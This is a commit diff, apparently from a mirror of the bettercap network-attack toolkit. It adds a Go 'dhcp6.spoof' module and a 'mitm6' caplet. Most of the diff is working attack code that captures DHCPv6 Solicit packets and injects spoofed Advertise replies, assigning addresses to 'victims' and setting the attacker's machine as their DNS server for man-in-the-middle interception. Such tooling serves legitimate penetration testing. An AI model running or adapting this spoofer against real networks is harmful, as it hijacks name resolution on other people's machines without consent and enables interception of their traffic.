mirror of
https://github.com/bettercap/bettercap
synced 2025-08-19 13:09:49 -07:00
new: dhcp6 spoofer step 1: get solicit packets and send spoofed advertisements.
This commit is contained in:
parent
c2e845d9d4
commit
da57450315
8 changed files with 317 additions and 3 deletions
1
Makefile
1
Makefile
|
@ -41,6 +41,7 @@ deps:
|
||||||
@go get -u github.com/jteeuwen/go-bindata/...
|
@go get -u github.com/jteeuwen/go-bindata/...
|
||||||
@go get github.com/elazarl/goproxy
|
@go get github.com/elazarl/goproxy
|
||||||
@go get github.com/google/gopacket
|
@go get github.com/google/gopacket
|
||||||
|
@go get github.com/mdlayher/dhcp6
|
||||||
@go get github.com/malfunkt/iprange
|
@go get github.com/malfunkt/iprange
|
||||||
@go get github.com/rogpeppe/go-charset/charset
|
@go get github.com/rogpeppe/go-charset/charset
|
||||||
@go get github.com/chzyer/readline
|
@go get github.com/chzyer/readline
|
||||||
|
|
13
caplets/mitm6.cap
Normal file
13
caplets/mitm6.cap
Normal file
|
@ -0,0 +1,13 @@
|
||||||
|
# custom prompt for ipv6 ... this is cool, i know :)
|
||||||
|
set $ {by}{fw}{cidr} {fb}> {env.iface.ipv6} {reset} {bold}» {reset}
|
||||||
|
|
||||||
|
net.recon on
|
||||||
|
# redirect http traffic to a proxy
|
||||||
|
# http.proxy on
|
||||||
|
# wait for everything to start properly
|
||||||
|
# sleep 1
|
||||||
|
|
||||||
|
dhcp6.spoof on
|
||||||
|
|
||||||
|
events.clear
|
||||||
|
clear
|
1
main.go
1
main.go
|
@ -26,6 +26,7 @@ func main() {
|
||||||
sess.Register(modules.NewProber(sess))
|
sess.Register(modules.NewProber(sess))
|
||||||
sess.Register(modules.NewDiscovery(sess))
|
sess.Register(modules.NewDiscovery(sess))
|
||||||
sess.Register(modules.NewArpSpoofer(sess))
|
sess.Register(modules.NewArpSpoofer(sess))
|
||||||
|
sess.Register(modules.NewDHCP6Spoofer(sess))
|
||||||
sess.Register(modules.NewSniffer(sess))
|
sess.Register(modules.NewSniffer(sess))
|
||||||
sess.Register(modules.NewHttpServer(sess))
|
sess.Register(modules.NewHttpServer(sess))
|
||||||
sess.Register(modules.NewHttpProxy(sess))
|
sess.Register(modules.NewHttpProxy(sess))
|
||||||
|
|
290
modules/dhcp6_spoof.go
Normal file
290
modules/dhcp6_spoof.go
Normal file
|
@ -0,0 +1,290 @@
|
||||||
|
package modules
|
||||||
|
|
||||||
|
import (
|
||||||
|
"crypto/rand"
|
||||||
|
"net"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"github.com/evilsocket/bettercap-ng/core"
|
||||||
|
"github.com/evilsocket/bettercap-ng/log"
|
||||||
|
"github.com/evilsocket/bettercap-ng/packets"
|
||||||
|
"github.com/evilsocket/bettercap-ng/session"
|
||||||
|
|
||||||
|
"github.com/google/gopacket"
|
||||||
|
"github.com/google/gopacket/layers"
|
||||||
|
"github.com/google/gopacket/pcap"
|
||||||
|
|
||||||
|
// TODO: refactor to use gopacket when gopacket folks
|
||||||
|
// will fix this > https://github.com/google/gopacket/issues/334
|
||||||
|
"github.com/mdlayher/dhcp6"
|
||||||
|
"github.com/mdlayher/dhcp6/dhcp6opts"
|
||||||
|
)
|
||||||
|
|
||||||
|
type DHCP6Spoofer struct {
|
||||||
|
session.SessionModule
|
||||||
|
Handle *pcap.Handle
|
||||||
|
DUID *dhcp6opts.DUIDLLT
|
||||||
|
Domain string
|
||||||
|
}
|
||||||
|
|
||||||
|
func NewDHCP6Spoofer(s *session.Session) *DHCP6Spoofer {
|
||||||
|
spoof := &DHCP6Spoofer{
|
||||||
|
SessionModule: session.NewSessionModule("dhcp6.spoof", s),
|
||||||
|
Handle: nil,
|
||||||
|
}
|
||||||
|
|
||||||
|
spoof.AddParam(session.NewStringParameter("dhcp6.spoof.domain",
|
||||||
|
"microsoft.com",
|
||||||
|
``,
|
||||||
|
"Domain name to spoof."))
|
||||||
|
|
||||||
|
spoof.AddHandler(session.NewModuleHandler("dhcp6.spoof on", "",
|
||||||
|
"Start the DHCPv6 spoofer in the background.",
|
||||||
|
func(args []string) error {
|
||||||
|
return spoof.Start()
|
||||||
|
}))
|
||||||
|
|
||||||
|
spoof.AddHandler(session.NewModuleHandler("dhcp6.spoof off", "",
|
||||||
|
"Stop the DHCPv6 spoofer in the background.",
|
||||||
|
func(args []string) error {
|
||||||
|
return spoof.Stop()
|
||||||
|
}))
|
||||||
|
|
||||||
|
return spoof
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s DHCP6Spoofer) Name() string {
|
||||||
|
return "dhcp6.spoof"
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s DHCP6Spoofer) Description() string {
|
||||||
|
return "Replies to DHCPv6 messages, providing victims with a link-local IPv6 address and setting the attackers host as default DNS server (https://github.com/fox-it/mitm6/)."
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s DHCP6Spoofer) Author() string {
|
||||||
|
return "Simone Margaritelli <evilsocket@protonmail.com>"
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *DHCP6Spoofer) Configure() error {
|
||||||
|
var err error
|
||||||
|
|
||||||
|
if s.Handle, err = pcap.OpenLive(s.Session.Interface.Name(), 65536, true, pcap.BlockForever); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
err = s.Handle.SetBPFFilter("ip6 and udp")
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
if err, s.Domain = s.StringParam("dhcp6.spoof.domain"); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
if s.DUID, err = dhcp6opts.NewDUIDLLT(1, time.Date(2000, time.January, 1, 0, 0, 0, 0, time.UTC), s.Session.Interface.HW); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
const DHCP6OptDNSServers = 23
|
||||||
|
const DHCP6OptDNSDomains = 24
|
||||||
|
const DHCP6OptClientFQDN = 39
|
||||||
|
|
||||||
|
// link-local
|
||||||
|
const IPv6Prefix = "fe80::"
|
||||||
|
|
||||||
|
type DHCPv6Layer struct {
|
||||||
|
Raw []byte
|
||||||
|
}
|
||||||
|
|
||||||
|
func (l DHCPv6Layer) SerializeTo(b gopacket.SerializeBuffer, opts gopacket.SerializeOptions) error {
|
||||||
|
size := len(l.Raw)
|
||||||
|
|
||||||
|
bytes, err := b.PrependBytes(size)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
copy(bytes, l.Raw)
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *DHCP6Spoofer) dhcpAdvertise(pkt gopacket.Packet, solicit dhcp6.Packet, target net.HardwareAddr) {
|
||||||
|
pktIp6 := pkt.Layer(layers.LayerTypeIPv6).(*layers.IPv6)
|
||||||
|
|
||||||
|
fqdn := target.String()
|
||||||
|
if raw, found := solicit.Options[DHCP6OptClientFQDN]; found == true && len(raw) >= 1 {
|
||||||
|
fqdn = string(raw[0])
|
||||||
|
}
|
||||||
|
|
||||||
|
log.Info("Got DHCPv6 Solicit request from %s (%s), sending spoofed advertisement for %s.", core.Bold(fqdn), target, core.Bold(s.Domain))
|
||||||
|
|
||||||
|
var solIANA dhcp6opts.IANA
|
||||||
|
|
||||||
|
if raw, found := solicit.Options[dhcp6.OptionIANA]; found == false || len(raw) < 1 {
|
||||||
|
log.Error("Unexpected DHCPv6 packet, could not find IANA.")
|
||||||
|
return
|
||||||
|
} else if err := solIANA.UnmarshalBinary(raw[0]); err != nil {
|
||||||
|
log.Error("Unexpected DHCPv6 packet, could not deserialize IANA.")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
adv := dhcp6.Packet{
|
||||||
|
MessageType: dhcp6.MessageTypeAdvertise,
|
||||||
|
TransactionID: solicit.TransactionID,
|
||||||
|
Options: make(dhcp6.Options),
|
||||||
|
}
|
||||||
|
|
||||||
|
lenDomain := len(s.Domain)
|
||||||
|
rawDomain := append([]byte{byte(lenDomain & 0xff)}, []byte(s.Domain)...)
|
||||||
|
|
||||||
|
adv.Options.AddRaw(DHCP6OptDNSDomains, rawDomain)
|
||||||
|
adv.Options.AddRaw(DHCP6OptDNSServers, s.Session.Interface.IPv6)
|
||||||
|
|
||||||
|
rawDUID, err := s.DUID.MarshalBinary()
|
||||||
|
if err != nil {
|
||||||
|
log.Error("%s", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
adv.Options.AddRaw(dhcp6.OptionServerID, rawDUID)
|
||||||
|
|
||||||
|
var rawCID []byte
|
||||||
|
if raw, found := solicit.Options[dhcp6.OptionClientID]; found == false || len(raw) < 1 {
|
||||||
|
log.Error("Unexpected DHCPv6 packet, could not find client id.")
|
||||||
|
return
|
||||||
|
} else {
|
||||||
|
rawCID = raw[0]
|
||||||
|
}
|
||||||
|
adv.Options.AddRaw(dhcp6.OptionClientID, rawCID)
|
||||||
|
|
||||||
|
var ip net.IP
|
||||||
|
if t, found := s.Session.Targets.Targets[target.String()]; found == true {
|
||||||
|
ip = t.IP
|
||||||
|
} else {
|
||||||
|
log.Debug("Address %s not known, using random identity association address.", target.String())
|
||||||
|
rand.Read(ip)
|
||||||
|
}
|
||||||
|
|
||||||
|
iaaddr, err := dhcp6opts.NewIAAddr(ip, 300*time.Second, 300*time.Second, nil)
|
||||||
|
if err != nil {
|
||||||
|
log.Error("%s", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
iaaddrRaw, err := iaaddr.MarshalBinary()
|
||||||
|
if err != nil {
|
||||||
|
log.Error("%s", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
opts := dhcp6.Options{dhcp6.OptionIAAddr: [][]byte{iaaddrRaw}}
|
||||||
|
iana := dhcp6opts.NewIANA(solIANA.IAID, 200*time.Second, 250*time.Second, opts)
|
||||||
|
ianaRaw, err := iana.MarshalBinary()
|
||||||
|
if err != nil {
|
||||||
|
log.Error("%s", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
adv.Options.AddRaw(dhcp6.OptionIANA, ianaRaw)
|
||||||
|
|
||||||
|
rawAdv, err := adv.MarshalBinary()
|
||||||
|
if err != nil {
|
||||||
|
log.Error("Error serializing advertisement packet: %s.", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
eth := layers.Ethernet{
|
||||||
|
SrcMAC: s.Session.Interface.HW,
|
||||||
|
DstMAC: target,
|
||||||
|
EthernetType: layers.EthernetTypeIPv6,
|
||||||
|
}
|
||||||
|
|
||||||
|
ip6 := layers.IPv6{
|
||||||
|
Version: 6,
|
||||||
|
NextHeader: layers.IPProtocolUDP,
|
||||||
|
HopLimit: 64,
|
||||||
|
SrcIP: s.Session.Interface.IPv6,
|
||||||
|
DstIP: pktIp6.SrcIP,
|
||||||
|
}
|
||||||
|
|
||||||
|
udp := layers.UDP{
|
||||||
|
SrcPort: 547,
|
||||||
|
DstPort: 546,
|
||||||
|
}
|
||||||
|
|
||||||
|
udp.SetNetworkLayerForChecksum(&ip6)
|
||||||
|
|
||||||
|
final := DHCPv6Layer{
|
||||||
|
Raw: rawAdv,
|
||||||
|
}
|
||||||
|
|
||||||
|
err, raw := packets.Serialize(ð, &ip6, &udp, &final)
|
||||||
|
if err != nil {
|
||||||
|
log.Error("Error serializing packet: %s.", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
log.Debug("Sending %d bytes of packet ...", len(raw))
|
||||||
|
if err := s.Session.Queue.Send(raw); err != nil {
|
||||||
|
log.Error("Error sending packet: %s", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *DHCP6Spoofer) onPacket(pkt gopacket.Packet) {
|
||||||
|
var dhcp dhcp6.Packet
|
||||||
|
var err error
|
||||||
|
|
||||||
|
eth := pkt.Layer(layers.LayerTypeEthernet).(*layers.Ethernet)
|
||||||
|
udp := pkt.Layer(layers.LayerTypeUDP).(*layers.UDP)
|
||||||
|
|
||||||
|
// we just got a dhcp6 packet?
|
||||||
|
if err = dhcp.UnmarshalBinary(udp.Payload); err == nil {
|
||||||
|
switch dhcp.MessageType {
|
||||||
|
case dhcp6.MessageTypeSolicit:
|
||||||
|
|
||||||
|
s.dhcpAdvertise(pkt, dhcp, eth.SrcMAC)
|
||||||
|
|
||||||
|
case dhcp6.MessageTypeRequest:
|
||||||
|
log.Info("REQUEST %s", dhcp)
|
||||||
|
|
||||||
|
case dhcp6.MessageTypeRenew:
|
||||||
|
log.Info("RENEW %s", dhcp)
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *DHCP6Spoofer) Start() error {
|
||||||
|
if s.Running() == true {
|
||||||
|
return session.ErrAlreadyStarted
|
||||||
|
} else if err := s.Configure(); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
s.SetRunning(true)
|
||||||
|
|
||||||
|
go func() {
|
||||||
|
defer s.Handle.Close()
|
||||||
|
|
||||||
|
src := gopacket.NewPacketSource(s.Handle, s.Handle.LinkType())
|
||||||
|
for packet := range src.Packets() {
|
||||||
|
if s.Running() == false {
|
||||||
|
break
|
||||||
|
}
|
||||||
|
|
||||||
|
s.onPacket(packet)
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *DHCP6Spoofer) Stop() error {
|
||||||
|
if s.Running() == false {
|
||||||
|
return session.ErrAlreadyStopped
|
||||||
|
}
|
||||||
|
s.SetRunning(false)
|
||||||
|
return nil
|
||||||
|
}
|
|
@ -11,8 +11,10 @@ import (
|
||||||
type OnHostResolvedCallback func(e *Endpoint)
|
type OnHostResolvedCallback func(e *Endpoint)
|
||||||
type Endpoint struct {
|
type Endpoint struct {
|
||||||
IP net.IP `json:"-"`
|
IP net.IP `json:"-"`
|
||||||
|
IPv6 net.IP `json:"."`
|
||||||
HW net.HardwareAddr `json:"-"`
|
HW net.HardwareAddr `json:"-"`
|
||||||
IpAddress string `json:"address"`
|
IpAddress string `json:"ipv4"`
|
||||||
|
Ip6Address string `json:"ipv6"`
|
||||||
SubnetBits uint32 `json:"-"`
|
SubnetBits uint32 `json:"-"`
|
||||||
IpAddressUint32 uint32 `json:"-"`
|
IpAddressUint32 uint32 `json:"-"`
|
||||||
HwAddress string `json:"mac"`
|
HwAddress string `json:"mac"`
|
||||||
|
|
|
@ -43,6 +43,12 @@ func FindInterface(name string) (*Endpoint, error) {
|
||||||
e = NewEndpointNoResolve(ip_part, mac, iface.Name, uint32(bits))
|
e = NewEndpointNoResolve(ip_part, mac, iface.Name, uint32(bits))
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
} else if e != nil {
|
||||||
|
parts := strings.SplitN(ip, "/", 2)
|
||||||
|
e.IPv6 = net.ParseIP(parts[0])
|
||||||
|
if e.IPv6 != nil {
|
||||||
|
e.Ip6Address = e.IPv6.String()
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
|
@ -9,7 +9,7 @@ import (
|
||||||
|
|
||||||
const (
|
const (
|
||||||
PromptVariable = "$"
|
PromptVariable = "$"
|
||||||
DefaultPrompt = "{by}{fw}{cidr} {fb}> {env.iface.address} {reset} {bold}» {reset}"
|
DefaultPrompt = "{by}{fw}{cidr} {fb}> {env.iface.ipv4} {reset} {bold}» {reset}"
|
||||||
)
|
)
|
||||||
|
|
||||||
var PromptEffects = map[string]string{
|
var PromptEffects = map[string]string{
|
||||||
|
|
|
@ -170,7 +170,8 @@ func (s *Session) Start() error {
|
||||||
s.Env.Set(PromptVariable, DefaultPrompt)
|
s.Env.Set(PromptVariable, DefaultPrompt)
|
||||||
|
|
||||||
s.Env.Set("iface.name", s.Interface.Name())
|
s.Env.Set("iface.name", s.Interface.Name())
|
||||||
s.Env.Set("iface.address", s.Interface.IpAddress)
|
s.Env.Set("iface.ipv4", s.Interface.IpAddress)
|
||||||
|
s.Env.Set("iface.ipv6", s.Interface.Ip6Address)
|
||||||
s.Env.Set("iface.mac", s.Interface.HwAddress)
|
s.Env.Set("iface.mac", s.Interface.HwAddress)
|
||||||
|
|
||||||
if s.Queue, err = packets.NewQueue(s.Interface.Name()); err != nil {
|
if s.Queue, err = packets.NewQueue(s.Interface.Name()); err != nil {
|
||||||
|
|
Loading…
Add table
Add a link
Reference in a new issue